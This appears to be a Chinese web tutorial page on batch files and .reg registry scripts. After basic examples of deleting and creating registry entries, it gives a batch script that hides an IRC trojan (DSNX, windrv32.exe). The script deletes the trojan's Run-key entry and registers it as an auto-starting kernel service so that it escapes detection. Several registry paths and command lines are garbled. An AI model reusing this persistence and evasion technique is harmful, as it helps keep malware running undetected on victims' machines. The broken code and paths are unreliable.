学习使用批处理文件的意义第1/2页

2019-09-19 07:07:28王振洲

  3.删除 
  我们首先来说说删除一个项目名称,我们创建一个如下的文件: 
  Windows Registry Editor Version 5.00 
  [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] 
  "Ex4rch"=- 
  执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的"Ex4rch"就被删除了; 
  我们再看看删除一个子项,我们创建一个如下的脚本: 
  Windows Registry Editor Version 5.00 
  [-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] 
  执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已经被删除了。 
  相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。 
samlpe1:如上面的那个例子,如想生成如下注册表文件 
  Windows Registry Editor Version 5.00 
  [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] 
  "Invader"="Ex4rch" 
  "door"=hex:255 
  "Autodos"=dword:000000128 
  只需要这样: 
  @echo Windows Registry Editor Version 5.00>>Sample.reg 
  @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg 
  @echo "Invader"="Ex4rch">>Sample.reg 
  @echo "door"=5>>C:WINNTsystem32door.exe>>Sample.reg 
  @echo "Autodos"=dword:02>>Sample.reg 
  samlpe2: 
  我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe) 
  @start windrv32.exe 
  @attrib +h +r windrv32.exe 
  @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll 
  @echo "windsnx "=- >>patch.dll 
  @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe 
  @regedit /s patch.dll 
  @delete patch.dll 
  @REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动] 
相关文章 大家在看